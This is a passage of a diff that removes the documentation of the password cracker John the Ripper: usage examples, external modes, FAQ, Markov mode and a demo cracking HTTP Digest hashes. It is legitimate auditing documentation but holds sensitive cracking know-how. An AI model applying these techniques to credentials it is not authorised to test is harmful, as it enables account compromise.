||||
|
||||
john -i -u=0 *.pwd
|
||||
|
||||
7. If you've got a password file for which you already have a lot of
|
||||
passwords cracked or obtained by other means, and the passwords are
|
||||
unusual, then you may want to generate a new charset file, based on
|
||||
character frequencies from that password file only:
|
||||
|
||||
john --make-charset=custom.chr mypasswd
|
||||
|
||||
Then use that new file with "incremental" mode.
|
||||
|
||||
If you've got many password files from a particular country,
|
||||
organization, etc., it might be useful to use all of them for the
|
||||
charset file that you then use to crack even more passwords from these
|
||||
files or from some other password files from the same place:
|
||||
|
||||
john --make-charset=custom.chr passwd1 passwd2
|
||||
[ Configure your custom "incremental" mode now. See below. ]
|
||||
john -i=custom passwd3
|
||||
|
||||
You can use some pre-defined or custom word filters when generating the
|
||||
charset file to have John consider some simpler passwords only:
|
||||
|
||||
john --make-charset=my_alpha.chr --external=filter_alpha mypasswd
|
||||
|
||||
If your "pot file" got large enough (or if you don't have any charset
|
||||
files at all), you might want to use it to generate a new set of main
|
||||
charset files:
|
||||
|
||||
john --make-charset=all.chr
|
||||
john --make-charset=alnum.chr --external=filter_alnum
|
||||
john --make-charset=alpha.chr --external=filter_alpha
|
||||
john --make-charset=digits.chr --external=filter_digits
|
||||
john --make-charset=lanman.chr --external=filter_lanman
|
||||
|
||||
In the example above, John will overwrite the charset files with new
|
||||
ones that are based on your entire $JOHN/john.pot (John uses the entire
|
||||
"pot file" if you don't specify any password files). Note that the word
|
||||
filters used here are pre-defined in the configuration file supplied
|
||||
with John, for your convenience.
|
||||
|
||||
8. Finally, you might want to e-mail all users with weak passwords to
|
||||
tell them to change their passwords. (This is not always a good idea,
|
||||
though, since lots of people do not check their e-mail or ignore such
|
||||
messages, and the messages can be a hint for crackers.) Edit the
|
||||
"mailer" script supplied with John: the message it sends and possibly
|
||||
the mail command (especially if the password file is from a different
|
||||
machine). Then run:
|
||||
|
||||
mailer mypasswd
|
||||
|
||||
|
||||
Configuration file.
|
||||
|
||||
Please refer to CONFIG for general information on the configuration file
|
||||
and its possible locations.
|
||||
|
||||
1. Let's assume that you notice that in some password file a lot of
|
||||
users have their passwords set to login names with "?!" appended. Then
|
||||
you just make a new "single crack" mode rule (see RULES for information
|
||||
on the syntax) and place it somewhere near the beginning:
|
||||
|
||||
[List.Rules:Single]
|
||||
$?$!
|
||||
|
||||
Hint: if you want to temporarily disable all of the default rules, you
|
||||
can simply rename the section to something John doesn't use and define
|
||||
a new one with the section's old name, but be sure to leave the "List."
|
||||
prefix of the name intact to maintain correct configuration file syntax.
|
||||
|
||||
All the same applies to wordlist mode rules as well.
|
||||
|
||||
2. If you generate a custom charset file (described above) you will also
|
||||
need to define a configuration file section with the "incremental" mode
|
||||
parameters. In the simplest case it will be like this (where "Custom"
|
||||
can be replaced with any name you like):
|
||||
|
||||
[Incremental:Custom]
|
||||
File = custom.chr
|
||||
|
||||
This way, John will only use characters from passwords used to generate
|
||||
the charset file only. To make John try some more characters, add:
|
||||
|
||||
Extra = !@#$%
|
||||
|
||||
These extra characters will then be added, but still considered the
|
||||
least probable. If you want to make sure that, with your extra
|
||||
characters, John will try all the 95 printable US-ASCII characters, you
|
||||
can add:
|
||||
|
||||
CharCount = 95
|
||||
|
||||
This will make John print a warning if it only has fewer than 95
|
||||
characters in its charset.
|
||||
|
||||
You can also use CharCount to limit the number of different characters
|
||||
that John tries, even if the charset file has more:
|
||||
|
||||
CharCount = 20
|
||||
|
||||
If you didn't use any filters when generating the charset file, setting
|
||||
CharCount this low will make John never attempt rare characters and
|
||||
character combinations, not even for really short passwords, spending
|
||||
the time on simple longer candidate passwords instead. However, the
|
||||
default length switching is usually smart enough so that you shouldn't
|
||||
need this trick.
|
||||
|
||||
To make John try passwords of certain lengths only, use the following
|
||||
lines:
|
||||
|
||||
MinLen = 6
|
||||
MaxLen = 8
|
||||
|
||||
Setting "MinLen" high, as in the example above, is reasonable if shorter
|
||||
passwords weren't allowed to set on the machine you got the password file
|
||||
from (however, note that root can usually set any password for any user
|
||||
and there are often loopholes in operating systems' password policy
|
||||
enforcement capabilities).
|
||||
|
||||
On the contrary, you may want to set "MaxLen" low if you think there are
|
||||
a lot of short passwords.
|
||||
|
||||
3. Another example: a lot of users at some site use short duplicated
|
||||
words as their passwords, such as "fredfred". As the number of such
|
||||
potential passwords is fairly low, it makes sense to code a new external
|
||||
cracking mode that tries them all, up to some length.
|
||||
|
||||
You can find the actual implementation of such a cracking mode with lots
|
||||
of comments in the default configuration file supplied with John.
|
||||
Please refer to EXTERNAL for information on the programming language
|
||||
used.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/EXAMPLES,v 1.8 2009/12/25 16:59:31 solar Exp $
|
||||
|
|
@ -1,78 +0,0 @@
|
|||
Defining an external mode.
|
||||
|
||||
To define an external cracking mode you need to create a configuration
|
||||
file section called [List.External:MODE], where MODE is any name that
|
||||
you assign to the mode. The section should contain some functions
|
||||
programmed in a subset of the C language. John will compile and use the
|
||||
functions if you enable this cracking mode via the command line.
|
||||
|
||||
|
||||
External functions.
|
||||
|
||||
The following functions are currently used by John:
|
||||
|
||||
init() called at startup, should initialize global variables
|
||||
filter() called for each word to be tried, can filter some words out
|
||||
generate() called to generate words, when no other cracking modes used
|
||||
restore() called when restoring an interrupted session
|
||||
|
||||
All of them are of type "void", with no arguments, and should use the
|
||||
global variable "word" (pre-defined as "int word[]"), except for init()
|
||||
which is called before "word" is initialized. The variable "word"
|
||||
contains the current candidate password to be tried, one character in
|
||||
each array element, terminated with a zero.
|
||||
|
||||
The functions, if defined, should do the following with "word":
|
||||
|
||||
* filter() can modify the word, or zero out "word[0]" to skip it;
|
||||
|
||||
* generate() should set "word" to the next word to be tried, or zero out
|
||||
"word[0]" when cracking is complete (this will cause John to terminate);
|
||||
|
||||
* restore() should set global variables to continue from the "word".
|
||||
|
||||
You can use an external mode on its own or with some other cracking
|
||||
mode, in which case only init() and filter() will be used (and only
|
||||
filter() will be required). Using an external filter is compatible with
|
||||
all the other cracking modes and with the "--make-charset" command line
|
||||
option.
|
||||
|
||||
It is recommended that you don't use filter() or at least don't filter
|
||||
too many words out when using an external mode with your own generate().
|
||||
It is better to modify generate() not to generate words that would get
|
||||
filtered out.
|
||||
|
||||
|
||||
The language.
|
||||
|
||||
As it has been mentioned above, the compiler supports a subset of C.
|
||||
The supported keywords are: void, int, if, else, while, continue, break,
|
||||
and return.
|
||||
|
||||
You can define functions to be called by John (the ones described
|
||||
above), define global and local variables (including single dimensional
|
||||
arrays), use all the integer operations supported in C, and use C and
|
||||
C++ comments.
|
||||
|
||||
The following C features are missing from John's compiler:
|
||||
|
||||
* function calls (any functions defined as a part of an external mode
|
||||
can only be called by John core, but not from within other external mode
|
||||
functions);
|
||||
|
||||
* only "while" loops are supported;
|
||||
|
||||
* only "int" and "void" data types are supported;
|
||||
|
||||
* only single dimensional arrays are supported;
|
||||
|
||||
* structs/unions are not supported;
|
||||
|
||||
* pointers are not supported (array name refers to the first element);
|
||||
|
||||
* probably something else...
|
||||
|
||||
You can find some external mode examples in the default configuration
|
||||
file supplied with John.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/EXTERNAL,v 1.2 2005/11/16 13:11:15 solar Exp $
|
||||
|
|
@ -1,234 +0,0 @@
|
|||
John the Ripper FAQ.
|
||||
|
||||
The latest version of this FAQ may be viewed online at:
|
||||
|
||||
http://www.openwall.com/john/doc/FAQ.shtml
|
||||
|
||||
|
||||
Help! I can't run John.
|
||||
|
||||
If you're not familiar with your OS, you should probably not be using
|
||||
John in the first place since John is a tool for system administrators.
|
||||
However, here are the answers to a few (not very) common questions to
|
||||
avoid having them asked over and over and for amusement.
|
||||
|
||||
Q: When I type "john" (or "john passwd", etc.), it says "command not
|
||||
found" (or equivalent)?!
|
||||
A: The examples given in John the Ripper documentation assume that you
|
||||
know how to invoke newly-built programs from your shell. On Unix-like
|
||||
systems, it is typical to not have "." (the current directory) in your
|
||||
$PATH (the list of directories to search for programs). In that case,
|
||||
you need to type "./john" (dot, slash, and "john", without the quotes)
|
||||
to invoke the John binary executable located in the current directory.
|
||||
|
||||
Q: ...but I am on a Unix-like system and I don't seem to readily have a
|
||||
John binary executable.
|
||||
A: Please follow the instructions in INSTALL.
|
||||
|
||||
Q: When I double-click on "john.exe", a window flashes and disappears?!
|
||||
A: You're not supposed to click. You're supposed to run John from a
|
||||
command-line shell. On Windows, some of those shells would be cmd.exe,
|
||||
command.com, or bash (the latter is available with Cygwin).
|
||||
|
||||
|
||||
Other trivial matters.
|
||||
|
||||
Q: How do I start John on my password file, use a specific cracking
|
||||
mode, see the passwords it cracked, etc?
|
||||
A: See README and EXAMPLES. :-)
|
||||
|
||||
Q: How do I "unshadow"?
|
||||
A: See EXAMPLES on how to combine your passwd and shadow files, provided
|
||||
that you have root access to the target system.
|
||||
|
||||
Q: Why doesn't John load my password file? It says "No password hashes
|
||||
loaded", "No password hashes loaded (see FAQ)", or "No password hashes
|
||||
left to crack (see FAQ)".
|
||||
A: Your password file might be shadowed. You need to get both
|
||||
/etc/passwd and the shadow file (typically /etc/shadow), and combine
|
||||
them into one file for use with John. Please refer to EXAMPLES.
|
||||
A: All of the password hashes found in the file (that are of the same
|
||||
type as the very first recognized hash in the file unless you're using
|
||||
the "--format=..." option) might be already cracked by previous
|
||||
invocations of John. (The message printed in that case has been changed
|
||||
to "No password hashes left to crack (see FAQ)" starting with version
|
||||
1.7.7.) To display cracked passwords, use "john --show" on your
|
||||
password hash file(s). To force John to crack those same hashes again,
|
||||
remove the john.pot file.
|
||||
A: With PWDUMP-format files, John focuses on LM rather than NTLM hashes
|
||||
by default, and it might not load any hashes at all if there are no LM
|
||||
hashes to crack. To have JtR Pro or a build of JtR with the jumbo patch
|
||||
focus on NTLM hashes instead, you need to pass the "--format=nt" option.
|
||||
A: The file you're trying to run John on might in fact not be a password
|
||||
file at all.
|
||||
A: Your command line syntax might be wrong, resulting in John trying to
|
||||
load a wrong file.
|
||||
A: Your password file format or hash type(s) might not be supported by
|
||||
John, or at least by the version and build of John that you're using.
|
||||
If you're positive that this is the case, you may want to check the
|
||||
contributed resources list on John the Ripper homepage for a suitable
|
||||
patch and, if unsuccessful with that, post a note to the mailing list
|
||||
(see CONTACT) including a sample password file line that John does not
|
||||
load (please make sure that the password is already changed by the time
|
||||
you post).
|
||||
|
||||
Q: I am getting the error "fopen: ./all.chr: No such file or directory"
|
||||
(or "fopen: ./lanman.chr: No such file or directory").
|
||||
Q: Where are the charset files?
|
||||
A: Development versions of John the Ripper might not include the charset
|
||||
files. You're supposed to take them out of the latest official release.
|
||||
|
||||
Q: Where do I get wordlists for use with John?
|
||||
A: http://www.openwall.com/wordlists/
|
||||
|
||||
Q: Where do I get new versions of John the Ripper?
|
||||
Q: Where do I get the source code for John?
|
||||
Q: I only have the source code for John the Ripper, where do I get it
|
||||
pre-compiled for my OS (if supported)?
|
||||
Q: What is the primary website for John the Ripper?
|
||||
A: http://www.openwall.com/john/
|
||||
|
||||
Q: How can I contact you (the author)?
|
||||
A: See CONTACT.
|
||||
|
||||
|
||||
(Semi-)advanced topics.
|
||||
|
||||
Q: I've recently switched my system to MD5-based (or Blowfish-based)
|
||||
password hashes, but there are still some DES-based hashes in the
|
||||
password file. How do I handle multiple hash types in one file?
|
||||
A: Use the "--format=..." option to tell John which hashes you would
|
||||
like it to load. Unfortunately, you will have to run John for each hash
|
||||
type separately. This requirement may sometimes be avoided with the use
|
||||
of "--format=crypt", but this is not recommended. Please see the
|
||||
description of the "--format" option in OPTIONS for more detail.
|
||||
|
||||
Q: I have 10 users, but John said it loaded 15 password hashes. What's
|
||||
going on?
|
||||
A: Some extremely poorly designed hash types (Windows LM hashes and
|
||||
DES-based crypt(3) hashes known as "bigcrypt") have a property that
|
||||
allows John to split their encodings into two separate hashes
|
||||
(corresponding to "halves" of plaintext passwords) on load. John then
|
||||
proceeds to crack those hashes separately, so at a given time it might
|
||||
have only one of two halves of some passwords cracked. If interrupted
|
||||
and restarted, it would need to only load the hashes that correspond to
|
||||
uncracked password halves, so the number of such hashes is what John
|
||||
reports (in all cases, for consistency).
|
||||
|
||||
Q: Are the strings tried with "-i" ("incremental" mode) random? They
|
||||
certainly look like they are almost random.
|
||||
A: No, they are not. No single candidate password will be tried for a
|
||||
second time and the order in which they are tried is in fact very smart:
|
||||
it is based on frequencies of different trigraphs, stored and processed
|
||||
separately for each character position and for each password length.
|
||||
|
||||
Q: Why doesn't John display a progress indicator for the "incremental"
|
||||
mode?
|
||||
A: Do you really want to see a 0% all the time? As explained in MODES,
|
||||
"incremental" mode is not supposed to terminate in a reasonable time.
|
||||
(There are a few exceptions to this, so a progress indicator might be
|
||||
added at some point.)
|
||||
|
||||
Q: I am running John for 10 days and it is still not finished?!
|
||||
Q: How long should I expect John to run?
|
||||
A: It primarily depends on the cracking mode(s) and on your password
|
||||
files (in particular, the type of hashes and the number of different
|
||||
salts, if applicable). Most importantly, you should note that the
|
||||
"incremental" mode, which a default John run (with no command line
|
||||
options) proceeds with after being done with the quicker checks, is not
|
||||
supposed to terminate in a reasonable time. It is up to you to decide
|
||||
how long you're going to let it run, then consider any uncracked
|
||||
passwords strong enough. "Single crack" mode runs typically take from
|
||||
under a second to one day (depending on the type and number of password
|
||||
hashes). Wordlist mode runs may also be quick (under a second) for
|
||||
tiny wordlists and fast hashes or they may take multiple days with large
|
||||
wordlists, with word mangling rules, and with slow hash types and
|
||||
substantial numbers of different salts. The status line John reports
|
||||
whenever you hit a key includes a progress indicator (percent complete)
|
||||
for "single crack" and wordlist modes. With no cracking mode requested
|
||||
explicitly, John will start with "single crack" mode (pass 1), then
|
||||
proceed with wordlist mode (pass 2), and finally with "incremental" mode
|
||||
(pass 3). The pass numbers are reported on the status line, too. It is
|
||||
reasonable to let John reach "incremental" mode (pass 3) and run that
|
||||
for a while (some days). You will notice that John's success rate (the
|
||||
number of passwords cracked per hour or per day) will be dropping
|
||||
rapidly. When you determine that the success rate is low enough, you
|
||||
interrupt John.
|
||||
|
||||
Q: Why does John display meaningless c/s values while cracking, instead
|
||||
of real "crypts per second" rate?
|
||||
A: The values displayed by John mean combinations (of username and
|
||||
password) per second, not crypts per second. This is the effective
|
||||
cracking speed that you get on a particular set of password hashes, and
|
||||
it may be useful, for example, to tune the "--salts=..." threshold and
|
||||
other settings. If you want a benchmark of the low-level password
|
||||
hashing routines only, use "--test". (Future versions of John the
|
||||
Ripper might report effective and raw c/s rates for different time
|
||||
intervals. These won't fit on the current status line, though.)
|
||||
|
||||
Q: I just noticed that the c/s rate reported while using "incremental"
|
||||
mode is a lot lower than it is with other cracking modes. Why?
|
||||
A: You're probably running John for a few seconds only. The current
|
||||
"incremental" mode implementation uses large character sets which need
|
||||
to be expanded into even larger data structures in memory each time John
|
||||
switches to a different password length. Fortunately, this is only
|
||||
noticeable when John has just started since the length switches become
|
||||
rare after a few minutes. For long-living sessions, which is where we
|
||||
care about performance the most, this overhead is negligible. This is a
|
||||
very low price for the better order of candidate passwords tried.
|
||||
|
||||
Q: What are the "real" and "virtual" c/s rates as reported by "--test"
|
||||
(on Unix-like operating systems)?
|
||||
A: These correspond to real and virtual (processor) time, respectively.
|
||||
The two results would differ when the system is under other load, with
|
||||
the "virtual" c/s rate indicating roughly what you could expect to get
|
||||
from the same machine if it were not loaded.
|
||||
|
||||
Q: How can I test John's password hashing routines for proper operation?
|
||||
A: John always performs a self-test when you run it on a password file
|
||||
and refuses to work if an error occurs. If you need to test all of the
|
||||
low-level routines at once, use "--test".
|
||||
|
||||
Q: Does John support multi-processing or distributed processing?
|
||||
A: There's currently built-in parallel processing support (to make use
|
||||
of multiple CPUs and/or CPU cores on a single system) for OpenBSD-style
|
||||
Blowfish-based crypt(3) (bcrypt) hashes (with John's own optimized code)
|
||||
and for the underlying system's thread-safe password hashing function
|
||||
(crypt_r(3) on Linux or crypt(3C) on Solaris). The latter is only
|
||||
reasonable to use for crypt(3) hash types not yet supported by John
|
||||
natively (that is, for glibc 2.7+ SHA-crypt hashes as used by recent
|
||||
versions of Fedora and Ubuntu and for SunMD5 hashes). To use this
|
||||
limited OpenMP support, you need to make an OpenMP-enabled build of John
|
||||
by uncommenting one of the OMPFLAGS lines near the beginning of the
|
||||
Makefile. This requires GCC 4.2+ or another OpenMP-capable C compiler.
|
||||
For other hash types and/or to distribute the workload between multiple
|
||||
machines, other approaches need to be used. For a small number of nodes
|
||||
(CPUs, CPU cores, and/or machines), it is reasonable to use a manual
|
||||
approach. One of those approaches is to have your nodes try different
|
||||
password lengths. This is easily accomplished with "incremental" mode's
|
||||
"MinLen" and "MaxLen" settings (see CONFIG). Typically, you would not
|
||||
really need to split the workload for "single crack" and wordlist modes
|
||||
since these are relatively quick, although you may dedicate one node to
|
||||
those initially. You may safely run multiple instances of John in the
|
||||
same working directory, all writing to the same "pot file" (this is a
|
||||
feature). You do, however, need to assign each of them a unique session
|
||||
name, with "--session". Other approaches, such as splitting password
|
||||
files naively (without regard to salts), are typically less efficient
|
||||
(in some cases to the extent where there's no speedup from using
|
||||
multiple nodes at all). Some advanced and automated approaches are
|
||||
listed on the wiki at:
|
||||
http://openwall.info/wiki/john/parallelization
|
||||
|
||||
Q: What is the format of the crash recovery files ("john.rec", other
|
||||
.rec's)? What do the numbers mean?
|
||||
A: The format of these files is deliberately undocumented and is subject
|
||||
to change without notice. (However, each release of John the Ripper is
|
||||
likely to be able to read .rec files produced by at least the
|
||||
immediately preceding release. Whenever compatibility is broken, John
|
||||
will refuse to recover the session, leaving the .rec file intact.)
|
||||
Although the meaning of some of the numbers that get into .rec files is
|
||||
trivial to explain, it is not possible to reasonably describe some
|
||||
others without going into great detail on John internals. If you really
|
||||
need to know, read the source code.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/FAQ,v 1.25 2011/04/27 18:02:49 solar Exp $
|
||||
|
|
@ -1,38 +0,0 @@
|
|||
HTTP Digest access authentication
|
||||
---------------------------------
|
||||
|
||||
|
||||
|
||||
- How to create the password string :
|
||||
-------------------------------------
|
||||
|
||||
|
||||
user:$MAGIC$response$user$realm$method$uri$nonce$nonceCount$ClientNonce$qop
|
||||
|
||||
'$' is use as separator, you can change it in HDAA_fmt.c
|
||||
|
||||
|
||||
Example of password string :
|
||||
|
||||
user:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth
|
||||
|
||||
Here the magic is '$response$'
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
- Demonstration :
|
||||
-----------------
|
||||
|
||||
Tested on a : AMD Athlon(tm) 64 Processor 3000+
|
||||
|
||||
$ cat ./htdigest
|
||||
moi:$response$faa6cb7d676e5b7c17fcbf966436aa0c$moi$myrealm$GET$/$af32592775d27b1cd06356b3a0db9ddf$00000001$8e1d49754a25aea7$auth
|
||||
user:$response$679066476e67b5c7c4e88f04be567f8b$user$myrealm$GET$/$8c12bd8f728afe56d45a0ce846b70e5a$00000001$4b61913cec32e2c9$auth
|
||||
|
||||
$ ./john ./htdigest
|
||||
Loaded 2 password hashes with 2 different salts (HTTP Digest access authentication [HDAA-MD5])
|
||||
kikou (moi)
|
||||
nocode (user)
|
||||
guesses: 2 time: 0:00:01:27 (3) c/s: 670223 trying: nocode
|
||||
|
|
@ -1,70 +0,0 @@
|
|||
Installing John the Ripper.
|
||||
|
||||
First of all, most likely you do not need to install John the Ripper
|
||||
system-wide. Instead, after you extract the distribution archive and
|
||||
possibly compile the source code (see below), you may simply enter the
|
||||
"run" directory and invoke John from there.
|
||||
|
||||
System-wide installation is also supported, but it is intended for use
|
||||
by packagers of John for *BSD "ports", Linux distributions, etc., rather
|
||||
than by end-users. (If you're in fact preparing a package of John,
|
||||
please refer to the JOHN_SYSTEMWIDE setting in src/params.h.)
|
||||
|
||||
You may have obtained the source code or a "binary" (pre-compiled)
|
||||
distribution of John the Ripper. On Unix-like systems, it is typical
|
||||
to get the source code and compile it into "binary" executables right
|
||||
on the system you intend to run John on. On DOS and Windows, however,
|
||||
it is typical to get a binary distribution which is ready for use.
|
||||
|
||||
The following instructions apply to the source code distribution of
|
||||
John only. If you have a binary distribution, then there's nothing
|
||||
for you to compile and you can start using John right away.
|
||||
|
||||
|
||||
Compiling the sources on a Unix-like system.
|
||||
|
||||
Enter the directory into which you extracted the source code
|
||||
distribution of John. Enter the "src" subdirectory and invoke "make"
|
||||
to obtain a list of operating systems for which specific support
|
||||
exists:
|
||||
|
||||
cd src
|
||||
make
|
||||
|
||||
Note the make target for your system and type:
|
||||
|
||||
make clean SYSTEM
|
||||
|
||||
where SYSTEM is the appropriate make target. Alternatively, if your
|
||||
system is not listed, use:
|
||||
|
||||
make clean generic
|
||||
|
||||
If everything goes well, this will create the executables for John and
|
||||
its related utilities under "../run/". You can change directory to
|
||||
there and start John, like this:
|
||||
|
||||
cd ../run
|
||||
./john --test
|
||||
|
||||
Alternatively, you may copy the entire "run" directory to anywhere you
|
||||
like and use John from there.
|
||||
|
||||
|
||||
A note on moving binaries between systems.
|
||||
|
||||
With the "generic" make target, certain machine hardware performance
|
||||
parameters are detected at compile time. Additionally, some OS-specific
|
||||
make targets tell the C compiler to generate and optimize code for the
|
||||
machine's specific CPU type (this currently applies to C compilers other
|
||||
than gcc only). If you then move the binary executable to a different
|
||||
machine, you might not get the best performance or the program might
|
||||
not run at all if the CPU lacks features that the C compiler assumed it
|
||||
would have. Thus, it is recommended to recompile John on each system if
|
||||
you use one of these make targets.
|
||||
|
||||
Since Linux and *BSD distributions' packages of John typically use make
|
||||
targets other than "generic" and since they typically use gcc, they are
|
||||
usually not affected by this potential problem.
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/INSTALL,v 1.5 2010/05/27 13:37:48 solar Exp $
|
||||
|
|
@ -1,42 +0,0 @@
|
|||
John the Ripper copyright and license.
|
||||
|
||||
John the Ripper password cracker,
|
||||
Copyright (c) 1996-2011 by Solar Designer.
|
||||
|
||||
This version of John the Ripper is hereby being made available to you
|
||||
under the terms of the GNU General Public License version 2 as published
|
||||
by the Free Software Foundation.
|
||||
|
||||
John the Ripper is distributed in the hope that it will be useful, but
|
||||
WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
General Public License for more details.
|
||||
|
||||
|
||||
Relaxed terms for certain components.
|
||||
|
||||
In addition or alternatively to the license above, the following
|
||||
components are available to you under more relaxed terms:
|
||||
|
||||
As the copyright holder for the bcrypt (Blowfish-based password hashing)
|
||||
implementation found in John the Ripper, I have placed a derived version
|
||||
of this implementation in the public domain. This derived version may
|
||||
be obtained at:
|
||||
|
||||
http://www.openwall.com/crypt/
|
||||
|
||||
The intent is to provide modern password hashing for your servers and
|
||||
your software (where the GPL restrictions could be a problem).
|
||||
|
||||
Additionally, I have placed the CRC-32 implementation (crc32.c, crc32.h)
|
||||
in the public domain.
|
||||
|
||||
|
||||
Commercial licensing.
|
||||
|
||||
Commercial licenses (non-GPL) are available upon request.
|
||||
|
||||
--
|
||||
Alexander Peslyak aka Solar Designer <solar at openwall.com>
|
||||
|
||||
$Owl: Owl/packages/john/john/doc/LICENSE,v 1.12 2011/06/22 13:03:43 solar Exp $
|
||||
|
|
@ -1,4 +0,0 @@
|
|||
This patch for John the Ripper MPI implementation is a continuation of
|
||||
Ryan Lim's original patch against 1.6.x, later maintained by John
|
||||
Anderson at bindshell.net, and modified by AoZ and magnum. It is
|
||||
licensed under the same terms as John the Ripper itself.
|
||||
|
|
@ -1,122 +0,0 @@
|
|||
BASIC USAGE
|
||||
The Markov mode is based from [1], tested and applied to "classical" password
|
||||
cracking in [2]. This mode similar to the "wordlist" mode because it will only
|
||||
crack a fixed quantity of passwords. Its parameters are:
|
||||
|
||||
--markov:LEVEL:START:END:LENGTH
|
||||
|
||||
Where:
|
||||
* LEVEL is the "Markov level". This value is the maximum strength of passwords
|
||||
that are going to be cracked. When LEVEL increases, the quantity of passwords
|
||||
that are going to be tested increases exponentially.
|
||||
* START is the index of the first password that is going to be tested, starting
|
||||
with 0.
|
||||
* END is the index of the last password that is going to be tested. When it is
|
||||
set to 0, it will represent the last possible password.
|
||||
* LENGTH is the maximum length of the tested passwords.
|
||||
|
||||
using --markov:100:0:0:12 will let john check every password whose length is 12
|
||||
or less and whose "Markov strength" is 100 or less.
|
||||
|
||||
|
||||
SELECTING THE PARAMETERS
|
||||
The "LEVEL" parameter should be selected based on the desired maximum running
|
||||
time. In order to select the appropriate LEVEL, the following steps should be
|
||||
followed:
|
||||
1/ Run the -single and -wordlist modes of john, as they will find many passwords
|
||||
for a low price
|
||||
2/ Run john with a low markov level on the file, using the time utility. For
|
||||
example:
|
||||
*******************************************************************************
|
||||
time john -markov:180 test
|
||||
Loaded 156 password hashes with no different salts (NT LM DES [128/128 BS SSE2])
|
||||
Warning: MaxLen = 12 is too large for the current hash type, reduced to 7
|
||||
MKV start (lvl=180 len=7 pwd=30449568)
|
||||
guesses: 0 time: 0:00:00:10 99% c/s: 475013K trying:
|
||||
|
||||
real 0m10.707s
|
||||
user 0m10.621s
|
||||
sys 0m0.012s
|
||||
*******************************************************************************
|
||||
This means that john can test 2.8M (30449568/10.707) passwords / seconds. It
|
||||
should be noted that with salted passwords the cracking speed will increase with
|
||||
every cracked password. This number should be corrected based on the experience
|
||||
of the user.
|
||||
3/ Evaluate the quantity of passwords that could be cracked during the selected
|
||||
time. Using the previous example, a cracking time of 3 hours will lead to a
|
||||
quantity of passwords of 30714M passwords (30449568/10.707*3600*3).
|
||||
4/ Use the genmkpwd command to find the corresponding level. Using the previous
|
||||
example, with a maximum password length of 12 (stupid because LM has a maximum
|
||||
length of 7 ...):
|
||||
*******************************************************************************
|
||||
genmkvpwd stats 0 12
|
||||
[...]
|
||||
lvl=245 (5904 Kb for nbparts) 26 G possible passwords (26528306250)
|
||||
lvl=246 (5928 Kb for nbparts) 29 G possible passwords (29373638087)
|
||||
lvl=247 (5952 Kb for nbparts) 32 G possible passwords (32524537496)
|
||||
[...]
|
||||
*******************************************************************************
|
||||
Here, the selected level will be 246 (the higher level where the number of
|
||||
possible passwords is less than 30714M).
|
||||
5/ Run john:
|
||||
*******************************************************************************
|
||||
john -markov:246:0:0:12 test
|
||||
*******************************************************************************
|
||||
|
||||
|
||||
DISTRIBUTING WORK
|
||||
The START and END parameter could be used to distribute work among many CPUs.
|
||||
The preferred method is to evaluate the combined cracking speed of all CPUs
|
||||
(adding the step 2 result for every CPUs available) and follow the previous
|
||||
method.
|
||||
At step 5, share the cracking space among all CPUs, where is share is
|
||||
proportionnal with the CPU's cracking speed.
|
||||
|
||||
|
||||
CONFIGURATION OPTIONS
|
||||
New options are available in the john.conf file:
|
||||
Statsfile - This is the path of the "stat" file.
|
||||
MkvLvl - the default level
|
||||
MkvMaxLen - the default length
|
||||
|
||||
|
||||
WHAT IS THE STAT FILE?
|
||||
The markov mode is based on statistical data from real passwords. This data is
|
||||
stored in the "stat" file. In order to generate a custom stat file, it is
|
||||
recommanded to use the new calc_stat command:
|
||||
|
||||
./calc_stat "dictionnary file" stats
|
||||
|
||||
|
||||
MKVCALCPROBA USAGE
|
||||
This program is used to generate statistics about cracked passwords. It accepts
|
||||
as input the "stat" file and a file with a single cracked password per line.
|
||||
Here is a sample output:
|
||||
|
||||
*******************************************************************************
|
||||
./mkvcalcproba stats /tmp/passwordlist
|
||||
test 33+16+28+20 97 4 40030907 45
|
||||
password 29+16+30+22+51+25+24+30 227 8 2698006565378672 177
|
||||
32'[[! 55+24+98+1000+23+29 1229 6 39949021871 1169
|
||||
charsetsize = 92
|
||||
*******************************************************************************
|
||||
|
||||
Its output is tab separated and should open nicely in spreadsheets. Here is the
|
||||
meaning of the column:
|
||||
1/ Cracked password, reprinted from the file
|
||||
2/ Sum of all "markov probabilities" of every letter of the word. This is
|
||||
supposed to help identify which parts of the password makes them strong. The
|
||||
number "1000" is written when no 1st/2nd letter combinations were found in the
|
||||
stat file (for exemple ' then [ here).
|
||||
3/ Markov strength
|
||||
4/ Password length
|
||||
5/ Rank when bruteforced "stupidly" (a, b, c, ..., aa, ab, ac ...) considering
|
||||
that letters are ordered given their appearance probability and the given
|
||||
charsetsize (92)
|
||||
6/ Markov strength of the password where the two first letters are removed
|
||||
|
||||
|
||||
REFERENCES
|
||||
|
||||
[1] http://www.cs.utexas.edu/~shmat/shmat_ccs05pwd.ps
|
||||
[2] http://actes.sstic.org/SSTIC07/Password_Cracking/
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -1,480 +0,0 @@
|
|||
For most hashes where MD5 is used, building a proper md5 format is likely
|
||||
not the best bet overall. A format is not trivial. It requires maintainance
|
||||
and will likely requires specific enhancements to get it to perform
|
||||
optimally on all hardware. Likely there will need to be 'generic' C
|
||||
code done, then it will need code to tie it into CPU specific optimizations,
|
||||
such as SSE, MMX, intrisic SSE, GPU, ... ... ... This will also mean that
|
||||
to stay up to date, the format will require ongoing work and mainainance.
|
||||
|
||||
However, there is one format which may reduce a lot of this maintainance
|
||||
work to very little. Now, that format itself will need to be kept up to
|
||||
date, but any formats that are built upon its internal workings. That
|
||||
format is md5-gen. In this 'format', there is a scripting language, where
|
||||
a format developer only need to describe the actual operations properly,
|
||||
and the format is 'done', and working.
|
||||
|
||||
This document will go over how to 'build' a format that uses this md5-gen
|
||||
format, how to optimize it to work faster, and how to build a 'thin'
|
||||
quasi format which insulates the end user from the md5-gen format line
|
||||
building.
|
||||
|
||||
**** Introduction ****
|
||||
|
||||
To start off with, a little background on 'how' and 'where' to build the
|
||||
scripts that run md5-gen, what interanal data structures are available to
|
||||
be used.
|
||||
|
||||
The 'where' which a format developer can easily build into john, is to add a
|
||||
